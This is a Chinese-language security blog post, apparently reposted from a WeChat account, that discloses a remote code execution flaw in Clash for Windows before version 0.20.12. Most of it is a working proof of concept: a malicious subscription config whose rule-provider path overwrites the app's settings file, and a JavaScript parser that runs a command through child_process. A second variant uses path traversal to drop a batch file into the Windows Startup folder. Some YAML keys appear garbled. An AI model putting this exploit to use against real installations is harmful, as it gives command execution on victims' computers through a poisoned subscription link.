漏洞概述
clash for windows是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。 Clash for Windows 是运行在 Windows 上的一图形化 Clash 分支。通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。
下载链接:
https://github.com/Fndroid/clash_for_windows_pkg/releases
目前最新版本为V 0.20.12。
Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。
影响版本版本:< V 0.20.12V
操作系统:Windows x64
系统版本:Windows 11
风险等级:高危
漏洞复现
PoC
-
The attacker starts a web service to ensure that these two files can be accessed:
启动一个web服务来确保这两个文件可以被访问
config.yaml
port: 7890
7891 :
true :
mode: Rule
info :
:9090 :
proxies:
name: a
type: socks5
server: 127.0.0.1
port: "17938"
true :
:
p:
type: http
behavior: domain
url: "http://this.your.url/cfw-settings.yaml"
path: ./cfw-settings.yaml
interval: 86400
cfw-settings.yaml
payload:
- DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- - icon
- - status
- traffic
- text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
- reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
require("child_process").exec("calc.exe");
return raw;
}
-
Victim uses subscription link
使用订阅链接
-
restart the clash_for_windows_pkg
重新启动
-
Update subscriptions or import new subscriptions
日志文件
No response
其他补充
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
不过杀毒软件会弹框
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
But the antivirus software will warn.
文章参考:
https://github.com/Fndroid/clash_for_windows_pkg/issues/3891
免责声明:由于传播、利用本公众号WIN哥学安全提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WIN哥学安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,本号会立即删除并致歉。谢谢!
往期推荐
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论